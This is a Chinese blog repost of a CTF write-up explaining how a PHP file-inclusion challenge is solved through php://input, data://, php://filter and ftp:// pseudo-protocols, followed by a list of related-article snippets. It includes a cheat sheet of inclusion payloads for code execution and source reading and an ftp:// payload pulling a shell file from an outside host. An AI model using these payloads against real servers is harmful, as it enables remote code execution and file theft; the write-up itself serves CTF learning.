正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议。

先放出原文链接(http://www.freebuf.com/column/150028.html)

题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目。

站点地址:http://chall.tasteless.eu/

这次的题目链接:http://level3.tasteless.eu/

下面就做题吧。

首先看下源码

<?php
highlight_file('index.php');

/*

view file: php.ini

so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.

so there will be something in it which enables you to solve this level, wont?



always be UP TO DATE!



hint enough, might just take you seconds to do?!

*/

error_reporting(0);

include('anti_rfi.php'); //rfi is forbidden!!!!!



$inc = @$_GET['file'];

@require_once($inc);

?>

源码给的很直接,不像某些CTF的比赛,WEB题目都能整成密码题目,美名其曰解密出源码,套路很深(吐槽)

分析一下上面的代码

1,highlight_file() 函数对index.php文件进行语法高亮显示。

2,包含了anti_rfi.php,并提示不允许进行远程文件包含

3,使用require_one包含了GET请求的file参数。

4,注释的提示信息:要读取PHP.ini ,里面有敏感信息

现在思路已经很明确了,首先读取php.ini和anti_rfi.php

首先来看一下php.ini,直接打开链接(http://level3.tasteless.eu/php.ini),ctrl+f 搜索allow

从php.ini中得到了allow_url_include是on的状态,所以可以使用PHP伪协议执行代码,可以使用php://input的协议,成功执行了代码。

此时需要获取站点的目录信息,由于allow_url_fopen是为off的状态所以无法使用远程文件包含执行命令了,也就无法直接用菜刀去连接并寻找flag,

但是已经知道网站的根目录/var/www/chall/level3

因为限制了命令执行的函数,所以不能够执行系统命令

失败

失败

但是PHP的scandir()函数会将当先目录下的目录结构以数组的方式保存

<?php print_r(scandir('/var/www/chall/level3'))?>

看到了th3_f14g文件,直接访问:http://level3.tasteless.eu/th3_fl4g

成功得到flag

题目就这样做完了,虽然题目不是很难,但是用到的技巧很是高妙。

他们的一个总结:

解题过程大致有如下3步骤:

1.分析站点给出的源代码

2.判断allow_url_fopen,allow_url_include的开启状态,来推测可以使用的伪协议

3.使用相应的伪协议执行代码获取flag

当无法判断allow_url_fopen,allow_url_include的开启状态时,可逐一尝试如下的请求判断哪些能够执行,如果有上传功能那么可能是考phar或zip等压缩流的知识点。

PHP 读文件和代码执行的方式:

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

虽然本题allow_url_fopen是off的状态,所以是无法使用远程文件包含的,如果是ON的话就需要使用文件包含读取anti_rfi.php文件,查看文件中的源码了。

如,使用http://level3.tasteless.eu/index.php?file=php://input

<?php highlight_file(‘anti_rfi.php’)?>

读取anti_rfi.php文件的源码信息。

从源码中可以看到使用了正则匹配http://, data 匹配到了,返回hacker detected,但是并没有匹配ftp://所以使用ftp://也是一个思路。

当allow_url_fopen=On并且 allow_url_include=On时,就可以使用ftp。payload:index.php?file=ftp://www.shell.com/shell.txt

就到这里了,任重而道远。

CTF 文件包含与伪协议的更多相关文章

  1. 一道内部ctf文件包含题

    拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试   文件变成中文的了,说明中文语言进行了包含并替换 ...

  2. CTF 文件包含

    目录 一.基本概念 二.本地文件包含 三.远程文件包含 四.具体场景 五.补充 一.基本概念 文件包含 将相同函数写入单独的文件中,需要使用时直接调用 文件包含漏洞 将被包含的文件设置为变量,导致客户 ...

  3. CTF文件包含

    <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); s ...

  4. CTF PHP文件包含--session

    PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...

  5. PHP文件包含 整理

    文件包含 目录 文件包含 1. 概述 1.1 常见的引发漏洞的函数: 1.2 利用条件 1.3 分类和利用思路 2. 利用方法 2.1 配合文件解析漏洞来包含 2.2 读取系统敏感文件(路径遍历) 2 ...

  6. php伪协议,利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本, 设置allow_url_fopen ...

  7. 配合php伪协议利用文件包含漏洞

    文章来源: https://blog.csdn.net/zpy1998zpy/article/details/80598768?utm_medium=distribute.pc_relevant.no ...

  8. PHP文件包含及使用伪协议getshell

    file:// - 访问本地文件系统 http:// - 访问 HTTP(s) 网址 ftp:// - 访问 FTP(s) URLs php:// - 访问各个输入/输出流(I/O streams) ...

  9. 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击

    风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...

随机推荐

  1. 使用wget做站点镜像及wget的高级用法

    本文为大家介绍 使用wget做站点镜像及wget的高级用法,供大家学习参考. # wget -r -p -np -k http://xxx.edu.cn -r 表示递归下载,会下载所有的链接,不过要注 ...

  2. Angular4 后台管理系统搭建(10) - 做一个通用的可跨域上传文件的组件

    写的很慢,不知不觉这是第十篇了.但是我其他事情太多,只能抽空写下.现在angular4或angular2流行的上传方式是ng2-file-upload.它的功能很强大.但是我没有配置成可以跨域上传的. ...

  3. hashlib模块--摘要算法

    算法介绍: Python的hashlib提供了常见的摘要算法:MD5,SHA()等. 摘要算法,又称哈希算法,散列算法.通过一个函数,吧任意长度的字符串转换为固定长度的字符串(16进制) 摘要算法就是 ...

  4. Django(一)

    Django 一.什么是web框架 框架,即framework,特指为解决一个开放性问题而设计的具有一定约束性的支撑结构,使用框架可以帮你快速开发特定的系统,简单地说,就是你用别人搭建好的舞台来做表演 ...

  5. 用 eclipse 创建一个简单的 meaven spring springMvc mybatis 项目

    下面是整体步骤: 1: 先创建一个Maven 项目: 选择跳过骨架: 因为要搭建的是 web 项目  所以这个地方选择 war 包; 点击完成 这样就完成 Maven项目的搭建: 接下俩 先把 Mav ...

  6. 支持“WeShopDb”上下文的模型已在数据库创建后发生更改。请考虑使用 Code First 迁移更新数据库

    用EF框架搭建完成后,为其中一张表加了一个字段,程序运行时候就一直报这个错误,郁闷了一个晚上,不过通过找资料,上网搜答案,找了好几个解决方案可以解决这个问题,我把他吗分享出来希望可以帮助到你们 方法一 ...

  7. Python3中urllib详细使用方法(header,代理,超时,认证,异常处理) 转

    urllib是python的一个获取url(Uniform Resource Locators,统一资源定址器)了,我们可以利用它来抓取远程的数据进行保存哦,下面整理了一些关于urllib使用中的一些 ...

  8. Windows搭建wnmp

    1. 下载安装nginx: nginx官网下载地址:http://nginx.org/en/download.html 下载任一版本(我下载的是stable1.12.1版本)解压到D:\wnmp\ng ...

  9. echarts教程-asp.net+ashx实现堆积柱状

    说说看.崔西莲夫人紧接着说. 想不到史春吉是这种人. 你会这样说倒是有趣,因为这正是我当时的感觉.这跟奈维尔的个性不合.奈维尔,就像大部分男人一样,通常都是尽量避开任何可能造成尴尬或不愉快的场面.我怀 ...

  10. 05-从零玩转JavaWeb-彻底搞懂值传递

    一.数据类型分类 基本数据类型: 只有一块存储空间, 在栈中,存放的是具体的值        引用数据类型:    引用数据类型有两块存储空间      一个在栈(Stack)中,一个在堆(heap) ...